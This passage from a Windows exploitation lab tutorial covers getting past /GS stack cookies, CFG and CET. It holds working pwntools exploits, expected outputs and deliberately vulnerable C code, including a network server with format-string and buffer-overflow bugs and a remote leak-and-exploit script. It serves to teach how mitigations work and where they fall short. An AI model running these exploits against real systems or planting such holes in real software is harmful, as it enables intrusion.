output = p.recvall(timeout=5)
log.info(f"Output:\n{output.decode(errors='replace')}")
if b"[DANGER]" in output:
log.success("Function pointer overwrite worked!")
log.success("dangerous_handler called system(\"calc.exe\")")
elif b"[SAFE]" in output:
log.failure("Still calling safe_handler - offset wrong")
except:
pass
try:
p.wait(timeout=3)
except:
pass
if p.returncode is not None:
exit_code = p.returncode & 0xFFFFFFFF
log.info(f"Exit code: {hex(exit_code)}")
if exit_code == 0xc0000409:
log.info("GS cookie check fired AFTER handler ran (expected)")
p.close()
def cfg_test():
"""
Demonstrate the difference between coarse-grained CFG and fine-grained.
CFG maintains a bitmap of ALL valid function entry points. It checks:
"Is the target address a valid function start?" — YES/NO.
It does NOT check:
"Is this specific call site allowed to call this specific function?"
So redirecting handler from safe_handler -> dangerous_handler WORKS
even with CFG, because dangerous_handler is a valid function entry.
But redirecting to a MID-FUNCTION address (e.g., dangerous_handler+4)
FAILS because that's not in the CFG bitmap.
This test proves both behaviors.
"""
binary_path = r'C:\Windows_Mitigations_Lab\bin\func_ptr_overwrite_cfg.exe'
log.info("CFG Test: demonstrating coarse-grained vs fine-grained")
log.info("")
# --- Test 1: redirect to dangerous_handler (valid function entry) ---
log.info("=" * 60)
log.info("TEST 1: Redirect to dangerous_handler (valid function entry)")
log.info("=" * 60)
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter request data:", timeout=5)
except:
pass
danger_addr = parse_address(output, 'dangerous_handler')
offset = parse_offset(output)
if not danger_addr:
log.error("Could not parse dangerous_handler")
p.close()
return
log.info(f"dangerous_handler = 0x{danger_addr:X} (valid function entry)")
command = b"calc.exe\x00"
padding = b"B" * (offset - len(command))
payload = command + padding + p64(danger_addr)
p.send(payload)
p.shutdown('send')
try:
out1 = p.recvall(timeout=5)
log.info(f"Output:\n{out1.decode(errors='replace')}")
if b"[DANGER]" in out1:
log.success("CFG ALLOWED the call — target is a valid function entry!")
elif b"[SAFE]" in out1:
log.failure("Still safe_handler")
except:
pass
try:
p.wait(timeout=3)
except:
pass
exit1 = (p.returncode or 0) & 0xFFFFFFFF
log.info(f"Exit code: {hex(exit1)}")
p.close()
# --- Test 2: redirect to mid-function address (NOT a valid entry) ---
log.info("")
log.info("=" * 60)
log.info("TEST 2: Redirect to dangerous_handler+4 (mid-function, NOT in CFG bitmap)")
log.info("=" * 60)
p = process([binary_path])
output = b""
try:
output = p.recvuntil(b"Enter request data:", timeout=5)
except:
pass
danger_addr = parse_address(output, 'dangerous_handler')
offset = parse_offset(output)
mid_func = danger_addr + 4 # NOT a function entry point
log.info(f"dangerous_handler+4 = 0x{mid_func:X} (mid-function, invalid CFG target)")
command = b"calc.exe\x00"
padding = b"B" * (offset - len(command))
payload = command + padding + p64(mid_func)
p.send(payload)
p.shutdown('send')
try:
out2 = p.recvall(timeout=5)
log.info(f"Output:\n{out2.decode(errors='replace')}")
if b"[DANGER]" in out2:
log.warning("Call went through — CFG didn't catch mid-function?")
except:
pass
try:
p.wait(timeout=3)
except:
pass
exit2 = (p.returncode or 0) & 0xFFFFFFFF
log.info(f"Exit code: {hex(exit2)}")
# CFG violation triggers __fastfail(FAST_FAIL_GUARD_ICALL_CHECK_FAILURE)
# which raises STATUS_BREAKPOINT (0x80000003) via int 0x29
if exit2 in (0x80000003, 0xc0000409):
log.success("CFG BLOCKED the call — target is NOT a valid function entry!")
if exit2 == 0x80000003:
log.info(" STATUS_BREAKPOINT via __fastfail (CFG kill mechanism)")
elif exit2 == 0xc0000005:
log.success("Access Violation — mid-function jump crashed")
else:
log.info(f"Unexpected exit code (may still indicate CFG block)")
p.close()
# --- Summary ---
log.info("")
log.info("=" * 60)
log.info("CONCLUSION:")
log.info(" CFG is COARSE-GRAINED — it checks if the target is ANY valid")
log.info(" function entry point, not whether THIS call site should call")
log.info(" THAT specific function.")
log.info("")
log.info(" -> Redirect to another valid function: CFG ALLOWS (demonstrated!)")
log.info(" -> Redirect to mid-function / shellcode: CFG BLOCKS")
log.info("")
log.info(" Fine-grained CFI (e.g., Clang CFI, LLVM type-based) would block")
log.info(" the valid-function redirect too, by checking type signatures.")
log.info("=" * 60)
if __name__ == "__main__":
if len(sys.argv) > 1 and sys.argv[1] == "--exploit":
exploit()
elif len(sys.argv) > 1 and sys.argv[1] == "--cfg-test":
cfg_test()
else:
discover()
Expected Results:
# Discovery:
c:\Windows_Mitigations_Lab> python exploits\sc_3_funcptr.py
#[*] Output:
# safe_handler @ 0000000140001F8C
# dangerous_handler @ 00000001400043BD
# req.data @ 000000000014F930
# req.handler @ 000000000014F9B0 (offset 128 from data)
#
#[*] Rest:
# [*] Read 256 bytes
# [*] Processing request...
# [*] Handler points to: 6261616962616168 <- cyclic at offset 128!
# Exploitation (address auto-parsed — no manual update needed):
c:\Windows_Mitigations_Lab> python exploits\sc_3_funcptr.py --exploit
#[*] Phase 1: reading addresses from binary output...
#[+] dangerous_handler = 0x00000001400043C7 (auto-parsed)
#[*] Handler at offset 128 from buffer start
#[*] Payload (136 bytes):
#[*] [0..8] command: b'calc.exe\x00'
#[*] [9..127] padding: 119 bytes
#[*] [128..135] handler: 0x1400043C7
#[*] Output:
# [*] Read 136 bytes
# [*] Processing request...
# [*] Handler points to: 00000001400043C7
# [DANGER] Executing: calc.exe <- RCE!
#[+] Function pointer overwrite worked!
# All three builds: same result (including CFG build!)
# Why? See CFG test below.
# CFG coarse-grained test:
c:\Windows_Mitigations_Lab> python exploits\sc_3_funcptr.py --cfg-test
#[*] TEST 1: Redirect to dangerous_handler (valid function entry)
#[+] CFG ALLOWED the call — target is a valid function entry!
#[*] Exit code: 0x0
#
#[*] TEST 2: Redirect to dangerous_handler+4 (mid-function, NOT in CFG bitmap)
#[+] CFG BLOCKED the call — target is NOT a valid function entry!
#[*] STATUS_BREAKPOINT via __fastfail (CFG kill mechanism)
#[*] Exit code: 0x80000003
#
#[*] CONCLUSION:
#[*] CFG is COARSE-GRAINED — it checks if the target is ANY valid
#[*] function entry point, not whether THIS call site should call
#[*] THAT specific function.
| Build | /GS | CFG | Target | Result | Why |
|---|---|---|---|---|---|
func_ptr_overwrite.exe | OFF | OFF | dangerous_handler | RCE | No protection at all |
func_ptr_overwrite_gs.exe | ON | OFF | dangerous_handler | RCE | /GS doesn't reorder struct members |
func_ptr_overwrite_cfg.exe | ON | ON | dangerous_handler | RCE | CFG allows — target is a valid function entry |
func_ptr_overwrite_cfg.exe | ON | ON | dangerous_handler+4 | Blocked | CFG blocks — mid-function is not in CFG bitmap |
[!WARNING] CFG is coarse-grained! It maintains a bitmap of valid function entry points and checks "is the target ANY valid function start?" — not "is this specific call site allowed to call this specific function?"
This means redirecting
handlerfromsafe_handlertodangerous_handlerpasses CFG validation becausedangerous_handleris a legitimate function. Only calls to addresses that are NOT function entries (shellcode, ROP gadgets, mid-function offsets) are blocked.Fine-grained CFI (e.g., Clang's
-fsanitize=cfi, LLVM type-based CFI) would block this by checking that the function pointer's type signature matches the call site. MSVC does not currently offer fine-grained CFI.Key takeaway: CFG stops shellcode injection and ROP chains via indirect calls, but does NOT prevent redirecting between valid functions of compatible signatures.
Trigger a controlled exception BEFORE the function epilogue runs the cookie check.
The cookie is only verified at function return (__security_check_cookie), so if an
exception diverts control flow before that point, the cookie is never checked.
[!WARNING] x64 vs x86: On x86, the classic version of this attack overwrites the SEH chain on the stack to hijack exception handling. On x64 Windows, SEH is table-based (stored in the read-only
.pdatasection), so SEH chain overwrites are impossible.On x64, the exception-based bypass instead demonstrates that the cookie check is skipped entirely when an exception fires mid-function. The attacker doesn't gain code execution through the exception handler itself, but through data already corrupted before the exception (e.g., a function pointer in a struct that was called, or a variable that controls a security decision).
Vulnerable Code:
// exception_bypass.c
// Demonstrates: exception fires BEFORE cookie check, proving /GS has a window
// of vulnerability between buffer overflow and function epilogue.
//
// This binary uses a struct with a flag field. The overflow corrupts the flag
// BEFORE an intentional null dereference triggers an exception. The __except
// handler checks the (now-corrupted) flag and grants elevated access.
//
// This is a data-only attack: no return address or function pointer corruption.
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <stdlib.h>
struct session {
char username[64]; // offset 0 - overflow source
int is_admin; // offset 64 - overflow target (security flag)
char *profile_ptr; // offset 72 - will be NULL -> exception
};
void handle_request(const char *input) {
struct session sess;
sess.is_admin = 0; // Not admin by default
sess.profile_ptr = NULL; // Will cause exception when dereferenced
printf("[*] Session initialized: is_admin=%d\n", sess.is_admin);
fflush(stdout);
// VULNERABILITY: copies more than 64 bytes into username[64]
// Overflow corrupts is_admin and profile_ptr
memcpy(sess.username, input, strlen(input));
printf("[*] After input: is_admin=%d, profile_ptr=%p\n",
sess.is_admin, (void*)sess.profile_ptr);
fflush(stdout);
// This __try/__except block catches the null deref exception.
// The cookie check at function return is NEVER reached because
// exception handling transfers control to the __except block.
__try {
// Dereference profile_ptr directly - WILL crash on NULL or garbage.
// NOTE: printf("%s", NULL) on MSVCRT prints "(null)" instead of
// crashing, so we MUST use a direct memory read to trigger the
// access violation.
char first = sess.profile_ptr[0]; // ACCESS VIOLATION here!
printf("[*] Profile loaded: %c...\n", first);
}
__except(EXCEPTION_EXECUTE_HANDLER) {
printf("[!] Exception caught (null/bad pointer dereference)\n");
fflush(stdout);
// BUG: checking a variable that was corrupted by the overflow!
// The developer assumed is_admin couldn't be corrupted because
// /GS "protects the stack". But the overflow happened in a struct,
// and the exception skipped the cookie check entirely.
if (sess.is_admin == 0x41414141) {
// In a real app this might check is_admin != 0
printf("[!] ADMIN ACCESS GRANTED (is_admin was corrupted!)\n");
printf("[!] Executing admin command...\n");
fflush(stdout);
system("whoami"); // Simulating privileged action
} else {
printf("[*] Access denied (is_admin=%d)\n", sess.is_admin);
}
}
// Cookie check would happen HERE at function return.
// But if we entered the __except block, the corrupted cookie
// was already "handled" by the exception mechanism.
printf("[*] Function returning (cookie check happens now)...\n");
fflush(stdout);
}
int main(int argc, char **argv) {
printf("=== Exception-Based /GS Bypass Demo ===\n");
printf("struct session layout:\n");
printf(" username[64] @ offset 0\n");
printf(" is_admin @ offset 64\n");
printf(" profile_ptr @ offset 72\n");
fflush(stdout);
if (argc > 1) {
handle_request(argv[1]);
} else {
printf("\nUsage: exception_bypass.exe <input>\n");
printf("Try: exception_bypass.exe %s\n",
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAA");
}
return 0;
}
Compile:
# Save to C:\Windows_Mitigations_Lab\src\exception_bypass.c
cd C:\Windows_Mitigations_Lab
# WITH /GS - to show exception bypasses cookie check
cl /GS /Zi /D_CRT_SECURE_NO_WARNINGS src\exception_bypass.c ^
/Fe:bin\exception_bypass.exe /link /NXCOMPAT /DYNAMICBASE:NO /FIXED /DEBUG
Pwntools - Exception-Based Bypass:
#!/usr/bin/env python3
"""
exploits/sc_4_exception.py
Exception-Based Stack Cookie Bypass
The overflow corrupts a security flag (is_admin) in a struct. Before the
function returns (where /GS checks the cookie), a null pointer dereference
triggers an exception. The __except handler reads the corrupted is_admin
flag and grants admin access.
This demonstrates that /GS only protects at function RETURN. Any security
decision made between the overflow and the return is vulnerable.
Works on Windows 11 + CET: no return address or function pointer corruption.
This is a pure data-only attack targeting a security-critical variable.
Usage:
python exploits\\sc_4_exception.py
"""
from pwn import *
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
def exploit():
binary_path = r'C:\Windows_Mitigations_Lab\bin\exception_bypass.exe'
# struct session layout:
# username[64] @ offset 0 (64 bytes)
# is_admin @ offset 64 (4 bytes, int)
# profile_ptr @ offset 72 (8 bytes, after padding)
#
# Overflow username to set is_admin = 0x41414141 ("AAAA")
# profile_ptr gets corrupted too -> causes exception -> __except fires
# __except checks corrupted is_admin -> grants access
USERNAME_SIZE = 64
IS_ADMIN_OFFSET = 64
# profile_ptr is at offset 72 (after 4 bytes padding between int and pointer)
PROFILE_PTR_OFFSET = 72
# Fill username buffer
payload = b"A" * USERNAME_SIZE
# Overflow into is_admin: set to 0x41414141 ("AAAA")
payload += b"A" * 4 # is_admin = 0x41414141 (bytes 64-67)
# Padding between is_admin (int, 4 bytes) and profile_ptr (8-byte aligned)
payload += b"A" * 4 # padding bytes 68-71
# Corrupt profile_ptr with garbage address -> access violation in __try
# 0x4141414141414141 is unmapped -> guaranteed crash
payload += b"A" * 8 # profile_ptr = 0x4141414141414141 (bytes 72-79)
log.info(f"Payload: {len(payload)} bytes")
log.info(f" [0..63] username: 64 x 'A'")
log.info(f" [64..67] is_admin: 0x41414141 ('AAAA')")
log.info(f" [68..71] padding: 4 x 'A'")
log.info(f" [72..79] profile_ptr: 0x4141414141414141 (garbage -> crash)")
# Pass payload as command line argument
# Since it's all 'A' characters, no binary data issues with argv
p = process([binary_path, payload.decode('latin-1')])
try:
output = p.recvall(timeout=5)
decoded = output.decode(errors='replace')
log.info(f"Output:\n{decoded}")
if "ADMIN ACCESS GRANTED" in decoded:
log.success("Exception-based bypass worked!")
log.success("/GS cookie was NEVER checked - exception skipped it")
log.success("Corrupted is_admin was trusted in __except handler")
elif "Access denied" in decoded:
log.failure("is_admin not corrupted correctly - adjust offset")
elif "c0000409" in decoded.lower():
log.failure("/GS caught the corruption before exception fired")
else:
log.warning("Unexpected output - check manually")
except:
pass
try:
p.wait(timeout=3)
except:
pass
if p.returncode is not None:
exit_code = p.returncode & 0xFFFFFFFF
log.info(f"Exit code: {hex(exit_code)}")
if exit_code == 0xc0000409:
log.info("GS cookie check fired at function return (after __except)")
log.info("But the damage is done - admin action already executed!")
elif exit_code == 0:
log.info("Clean exit - exception was handled, cookie was OK")
p.close()
if __name__ == "__main__":
exploit()
Expected Results:
c:\Windows_Mitigations_Lab> python exploits\sc_4_exception.py
#[*] Payload: 80 bytes
#[*] [0..63] username: 64 x 'A'
#[*] [64..67] is_admin: 0x41414141 ('AAAA')
#[*] [68..71] padding: 4 x 'A'
#[*] [72..79] profile_ptr: 0x4141414141414141 (garbage -> crash)
#[*] Output:
# === Exception-Based /GS Bypass Demo ===
# struct session layout:
# username[64] @ offset 0
# is_admin @ offset 64
# profile_ptr @ offset 72
# [*] Session initialized: is_admin=0
# [*] After input: is_admin=1094795585, profile_ptr=4141414141414141
# [!] Exception caught (null/bad pointer dereference)
# [!] ADMIN ACCESS GRANTED (is_admin was corrupted!)
# [!] Executing admin command...
# dev\user <- whoami output
# [*] Function returning (cookie check happens now)...
#[+] Exception-based bypass worked!
#[+] /GS cookie was NEVER checked - exception skipped it
#[+] Corrupted is_admin was trusted in __except handler
#[*] Exit code: 0x0
[!IMPORTANT] Why This Works: The
/GScookie is checked in the function epilogue (right beforeret). If an exception occurs mid-function, the__excepthandler runs in a different context. The corruptedis_adminvariable is read in the handler before the cookie is ever validated. This is a fundamental limitation of stack cookies — they're a post-hoc check, not a prevention mechanism.On x64: This is NOT an SEH chain overwrite (impossible on x64). Instead, it's a data-only attack where the exception mechanism happens to skip past the cookie check, giving the attacker a window to exploit corrupted data.
CET: Completely irrelevant here. No control flow is hijacked — the exception mechanism works normally. The attacker only corrupted a data variable (
is_admin).
On x64 Windows, exception handling is fundamentally different from x86. Understanding this is crucial since SafeSEH and SEH exploits don't apply.
// x64 uses table-based unwinding stored in PE headers
// No SEH chain on stack = no SEH overwrites!
// .pdata section contains RUNTIME_FUNCTION entries:
typedef struct _RUNTIME_FUNCTION {
DWORD BeginAddress; // RVA of function start
DWORD EndAddress; // RVA of function end
DWORD UnwindData; // RVA of UNWIND_INFO
} RUNTIME_FUNCTION, *PRUNTIME_FUNCTION;
// UNWIND_INFO describes how to unwind the function:
typedef struct _UNWIND_INFO {
UBYTE Version : 3;
UBYTE Flags : 5;
UBYTE SizeOfProlog;
UBYTE CountOfCodes;
UBYTE FrameRegister : 4;
UBYTE FrameOffset : 4;
UNWIND_CODE UnwindCode[1];
// Followed by optional exception handler info
} UNWIND_INFO, *PUNWIND_INFO;
Examining .pdata in WinDbg:
# Dump RUNTIME_FUNCTION entries
!dh -f myapp # Show headers
lm m myapp # Get base address
# Find .pdata section
!dh myapp -s
# Look for .pdata section
# Dump some RUNTIME_FUNCTION entries
dps myapp+<pdata_rva> L20
# Examine specific function's unwind info
.fnent myapp!vulnerable_function
# Shows: BeginAddress, EndAddress, UnwindInfoAddress
# And the actual unwind operations
Why x64 Is More Secure:
x86 SEH:
- Chain of handlers on STACK
- Attacker controls stack -> controls handlers
- Classic exploitation technique
x64 Table-based:
- Handler info in READ-ONLY .pdata section
- Cannot overwrite via buffer overflow
- Exception handling doesn't read attacker-controlled data
Result: Classic SEH overwrite impossible on x64
VEH is an alternative that exists on both x86 and x64:
// VEH registration (application can add custom handlers)
PVOID WINAPI AddVectoredExceptionHandler(
ULONG First, // 1 = first handler, 0 = last
PVECTORED_EXCEPTION_HANDLER Handler // Callback function
);
// VEH handlers stored in ntdll:
// - LdrpVectorHandlerList (doubly linked list in heap)
// - If attacker can corrupt heap -> corrupt VEH list
// - But... heap has its own protections now
VEH Internal Structure:
// Internal VEH entry structure (undocumented)
typedef struct _VECTORED_HANDLER_ENTRY {
LIST_ENTRY List; // Forward/backward links
PVOID Unknown1; // Reserved
ULONG Refs; // Reference count
PVECTORED_EXCEPTION_HANDLER Handler; // The actual handler!
} VECTORED_HANDLER_ENTRY;
// Located via:
// ntdll!LdrpVectorHandlerList
// ntdll!RtlpCallVectoredHandlers
WinDbg VEH Analysis:
# Find VEH list
x ntdll!LdrpVectorHandlerList
dps ntdll!LdrpVectorHandlerList L4
# Each entry points to VECTORED_HANDLER_ENTRY
# Handler offset is +0x18 on x64
dt ntdll!_LIST_ENTRY poi(ntdll!LdrpVectorHandlerList)
Intel Control-flow Enforcement Technology provides hardware-backed return address protection, making stack cookie bypasses significantly harder.
Normal Stack (writable): Shadow Stack (read-only to user):
┌─────────────────────┐ ┌─────────────────────┐
│ Local Variables │ │ │
├─────────────────────┤ │ │
│ Saved RBP │ │ │
├─────────────────────┤ ├─────────────────────┤
│ Return Address │ --------> │ Return Address │
└─────────────────────┘ └─────────────────────┘
CALL instruction:
1. Pushes return address to normal stack
2. Pushes return address to shadow stack
RET instruction:
1. Pops return address from normal stack
2. Pops return address from shadow stack (SSP)
3. If they don't match -> #CP (Control Protection) exception
4. Process terminated
; New instructions for shadow stack
INCSSP reg ; Increment shadow stack pointer (adjust SSP)
RDSSP reg ; Read shadow stack pointer into register
SAVEPREVSSP ; Save previous SSP (for context switches)
RSTORSSP mem ; Restore SSP from memory
WRSS mem,reg; Write to shadow stack (privileged/restricted)
WRUSS mem,reg; Write to user shadow stack (ring 3, restricted)
; These are highly restricted - user code can't freely modify shadow stack
// Check if CET is enabled
#include <intrin.h>
BOOL IsCETEnabled() {
int cpuInfo[4];
__cpuid(cpuInfo, 7);
// CET_SS (Shadow Stack) is bit 7 of ECX from CPUID leaf 7
return (cpuInfo[2] & (1 << 7)) != 0;
}
// Check process CET status
#include <windows.h>
BOOL IsProcessCETEnabled() {
PROCESS_MITIGATION_USER_SHADOW_STACK_POLICY policy = {0};
if (GetProcessMitigationPolicy(
GetCurrentProcess(),
ProcessUserShadowStackPolicy,
&policy,
sizeof(policy))) {
return policy.EnableUserShadowStack;
}
return FALSE;
}
Enabling CET for Your Process:
// Enable CET at process creation
STARTUPINFOEX si = {0};
si.StartupInfo.cb = sizeof(si);
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(size);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY2_CET_USER_SHADOW_STACKS_ALWAYS_ON;
UpdateProcThreadAttribute(
si.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&policy,
sizeof(policy),
NULL,
NULL
);
CreateProcess(..., &si, ...);
With CET Shadow Stack, classic ROP is BLOCKED (not just harder):
- Return address overwrite -> shadow stack mismatch -> process terminated
- Classic ROP chains are impossible (every RET is validated)
- __fastfail triggers STATUS_BREAKPOINT (0x80000003) via int 0x29
- No user-mode recovery — kernel kills the process immediately
What still works (proven in Techniques 1-4 above):
+ Struct-based function pointer overwrites (indirect CALL, not RET)
+ Data-only attacks (corrupt security flags, not code pointers)
+ Exception-based bypasses (skip cookie check via __except)
+ JOP (Jump-Oriented Programming) — doesn't use RET
+ COP (Call-Oriented Programming) — uses CALL, not RET
What does NOT help against data-only attacks:
- CET shadow stack (only protects RET, not indirect CALL)
- CFG coarse-grained check (allows redirect between valid functions)
- /GS cookies (struct members aren't reordered)
CET + IBT (Indirect Branch Tracking):
Full CET includes IBT (Indirect Branch Tracking):
- Indirect CALL/JMP must land on ENDBR64 instruction
- Prevents arbitrary indirect jumps to mid-function locations
- Further restricts JOP/COP attacks
ENDBR64 instruction:
- Marks valid indirect branch targets
- Compiler inserts at function entries
- Gadgets that don't start with ENDBR64 are invalid
Windows IBT status:
- Windows 11 supports CET shadow stacks (User Shadow Stacks)
- IBT enforcement is not yet widely enabled on Windows userspace
- Linux has enabled IBT on kernel (since 5.18) and can enforce on userspace
- When IBT is enabled, it provides similar protection to CFG for indirect calls
but at the hardware level with ENDBR64 validation
Exploit chain for a vulnerable server. This demonstrates the full attack flow: format string leak -> identify cookie/pointers -> exploit.
Vulnerable Server (Full Example):
// realworld_server.c - More realistic vulnerable server
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 31337
#define MAX_CLIENTS 10
typedef struct {
char username[64];
char session_token[32];
int privilege_level;
} Session;
typedef struct {
char command[16];
char args[128];
char padding[64];
} Request;
// Global session storage
Session* active_sessions[MAX_CLIENTS];
// Log function with format string vulnerability
// BUG: sends formatted output back to client, leaking stack values
void log_message(SOCKET client, const char* format, ...) {
char buffer[512];
va_list args;
va_start(args, format);
_vsnprintf(buffer, sizeof(buffer), format, args);
va_end(args);
buffer[sizeof(buffer) - 1] = '\0';
printf("[LOG] %s\n", buffer);
// BUG: sends raw formatted output to client (attacker sees leaked values!)
send(client, buffer, (int)strlen(buffer), 0);
send(client, "\n", 1, 0);
}
// Vulnerable: Format string in logging
void handle_login(SOCKET client, char* data) {
char response[256];
char username[64];
// Parse username for display
strncpy(username, data, 63);
username[63] = '\0';
// VULNERABILITY: Format string leak — attacker-controlled format!
// Uses raw 'data' (up to ~500 bytes from recv_buffer), NOT truncated
// username. This gives the attacker enough room for many %p specifiers
// to reach return addresses and code pointers deep in the stack.
// With username[64], only ~21 specifiers fit — not enough.
// With raw data (~500 bytes), ~166 specifiers fit — reaches everything.
log_message(client, data); // Leaks stack values to attacker!
// Send response (uses safe truncated copy)
_snprintf(response, sizeof(response),
"Login attempt for: %s\n", username);
response[sizeof(response) - 1] = '\0';
send(client, response, (int)strlen(response), 0);
}
// Vulnerable: Stack buffer overflow
void handle_execute(SOCKET client, Request* req) {
char local_buffer[64]; // Small buffer
char response[256];
// VULNERABILITY: Copies 128-byte args into 64-byte buffer
strcpy(local_buffer, req->args); // OVERFLOW!
// Process and respond
snprintf(response, sizeof(response),
"Executed: %s with args: %s\n",
req->command, local_buffer);
send(client, response, strlen(response), 0);
}
void handle_client(SOCKET client) {
char recv_buffer[512];
int bytes;
Request req = {0};
// Receive command
bytes = recv(client, recv_buffer, sizeof(recv_buffer) - 1, 0);
if (bytes <= 0) return;
recv_buffer[bytes] = '\0';
// Parse request
if (strncmp(recv_buffer, "LOGIN ", 6) == 0) {
handle_login(client, recv_buffer + 6);
}
else if (strncmp(recv_buffer, "EXEC ", 5) == 0) {
// Parse EXEC command
char* space = strchr(recv_buffer + 5, ' ');
if (space) {
*space = '\0';
strncpy(req.command, recv_buffer + 5, 15);
strncpy(req.args, space + 1, 127);
handle_execute(client, &req);
}
}
else {
send(client, "Unknown command\n", 16, 0);
}
}
int main() {
WSADATA wsa;
SOCKET server_sock, client_sock;
struct sockaddr_in server_addr, client_addr;
int client_len = sizeof(client_addr);
WSAStartup(MAKEWORD(2, 2), &wsa);
server_sock = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(PORT);
bind(server_sock, (struct sockaddr*)&server_addr, sizeof(server_addr));
listen(server_sock, MAX_CLIENTS);
printf("[*] Server listening on port %d\n", PORT);
printf("[*] log_message @ %p\n", (void*)log_message);
printf("[*] handle_login @ %p\n", (void*)handle_login);
printf("[*] handle_execute @ %p\n", (void*)handle_execute);
printf("[*] Mitigations: /GS enabled, ASLR enabled\n");
fflush(stdout);
while(1) {
client_sock = accept(server_sock,
(struct sockaddr*)&client_addr,
&client_len);
printf("[+] Client connected\n");
handle_client(client_sock);
closesocket(client_sock);
printf("[-] Client disconnected\n");
}
return 0;
}
Pwntools Exploit:
#!/usr/bin/env python3
"""
Full Exploit: Stack Cookie Bypass via Information Leak
Target: realworld_server.exe
Chain: Format String Leak -> Cookie/ASLR Bypass -> Struct Function Pointer Attack
This demonstrates a complete exploitation workflow.
IMPORTANT:
- MSVCRT does NOT support positional format strings (%N$x).
We use sequential %p specifiers instead.
- MSVCRT %p prints bare hex (e.g., 000000000014FA48), not 0x-prefixed.
- On CET-enabled systems, the ROP chain in Stage 3 is BLOCKED.
Use data-only / struct-based attacks (Techniques 1-4) instead.
"""
from pwn import *
import re
import sys
# ================== Configuration ==================
TARGET_HOST = "127.0.0.1" # Change to target
TARGET_PORT = 31337
context.arch = 'amd64'
context.os = 'windows'
context.log_level = 'info'
# ================== Helper Functions ==================
def connect():
"""Establish connection to target"""
return remote(TARGET_HOST, TARGET_PORT)
def leak_stack_values(num_pads):
"""
Use format string to leak stack values.
MSVCRT doesn't support positional %N$p — we must use sequential %p.
MSVCRT %p prints bare hex without 0x prefix.
"""
r = connect()
# Build format string with sequential %p specifiers
# Each %p leaks one pointer-sized value from the stack
payload = b"LOGIN " + b"%p." * num_pads
r.send(payload)
try:
response = r.recvuntil(b"Login attempt", timeout=3)
except:
response = r.recv(timeout=2)
r.close()
# Parse bare-hex values from response (MSVCRT format: 000000000014FA48)
# Also handle 0x-prefixed and (null) / 0000000000000000
values = re.findall(rb'([0-9A-Fa-f]{8,16})', response)
leaks = {}
for i, val_bytes in enumerate(values):
try:
val = int(val_bytes, 16)
leaks[i] = val
log.debug(f"Offset {i}: 0x{val:016X}")
except ValueError:
pass
return leaks
def identify_values(leaks):
"""
Analyze leaked values to identify:
- Stack cookie (XOR'd with RBP — high entropy, not a valid address)
- Code pointers (in image range, e.g., 0x140XXXXXX with /FIXED)
- Stack addresses (user-mode VA range)
"""
identified = {
'cookie': None,
'code_ptrs': [],
'stack_ptrs': []
}
for offset, val in leaks.items():
if val == 0:
continue
# Image base pointers (with /FIXED, typically 0x140XXXXXX)
if 0x140000000 <= val <= 0x14FFFFFFF:
identified['code_ptrs'].append((offset, val))
log.info(f"Code pointer at offset {offset}: 0x{val:016X}")
# With ASLR: code pointers in 0x7ff6-0x7fff range
elif 0x7ff600000000 <= val <= 0x7fffffffffff:
identified['code_ptrs'].append((offset, val))
log.info(f"ASLR code pointer at offset {offset}: 0x{val:016X}")
# Stack addresses: typically high user-mode VA
elif 0x0000000100000 <= val <= 0x00007fffffffffff and \
not (0x7ff000000000 <= val <= 0x7fffffffffff) and \
not (0x140000000 <= val <= 0x14FFFFFFF):
identified['stack_ptrs'].append((offset, val))
log.debug(f"Stack pointer at offset {offset}: 0x{val:016X}")
# Cookie candidate: high entropy, not a valid address
# The XOR'd cookie typically doesn't look like any address range
elif val > 0xFFFF:
if identified['cookie'] is None:
identified['cookie'] = (offset, val)
log.success(f"Potential cookie at offset {offset}: 0x{val:016X}")
return identified
def exploit():
"""Main exploitation function"""
log.info("=" * 50)
log.info("Stack Cookie Bypass — Information Leak")
log.info("=" * 50)
# ============ Stage 1: Information Leak ============
log.info("Stage 1: Leaking stack values via format string")
log.info("Using sequential %%p (MSVCRT has no positional %%N$p)")
leaks = leak_stack_values(80) # Leak 80 stack values (needs raw data path)
log.info(f"Leaked {len(leaks)} values from stack")
identified = identify_values(leaks)
if identified['cookie'] is None:
log.error("Failed to identify stack cookie!")
return False
cookie_offset, cookie_value = identified['cookie']
log.success(f"Cookie: 0x{cookie_value:016X} at offset {cookie_offset}")
if identified['code_ptrs']:
code_offset, code_ptr = identified['code_ptrs'][0]
log.success(f"Code pointer: 0x{code_ptr:016X} at offset {code_offset}")
# With ASLR, calculate base address:
# The leaked pointer is somewhere inside the binary.
# Page-align down to estimate the module base.
# In a real exploit, you'd know the exact offset from RE.
estimated_base = code_ptr & 0xFFFFFFFFFFFF0000 # 64KB aligned (ASLR granularity)
log.info(f"Estimated module base: 0x{estimated_base:016X}")
log.info(f"Offset in module: 0x{code_ptr - estimated_base:X}")
else:
log.warning("No code pointers leaked — try increasing num_pads")
# ============ Stage 2: Exploitation ============
log.info("Stage 2: Exploitation")
log.info("")
log.warning("=" * 50)
log.warning("CET CHECK: On Windows 11 with CET shadow stacks,")
log.warning("classic ROP (return address overwrite) is BLOCKED.")
log.warning("The shadow stack maintains a separate copy of return")
log.warning("addresses that the attacker cannot modify.")
log.warning("")
log.warning("For CET-enabled targets, use data-only attacks:")
log.warning(" - Struct function pointer overwrite (Techniques 1-3)")
log.warning(" - Exception-based data corruption (Technique 4)")
log.warning(" - Write-What-Where to global function pointers")
log.warning("=" * 50)
# --- Conceptual ROP chain (for non-CET systems only) ---
# On systems WITHOUT CET, the cookie leak enables classic ROP:
#
# handle_execute stack layout (approximate):
# [local_buffer 64][cookie 8][saved_rbp 8][return_addr 8]
#
# payload = b"EXEC cmd "
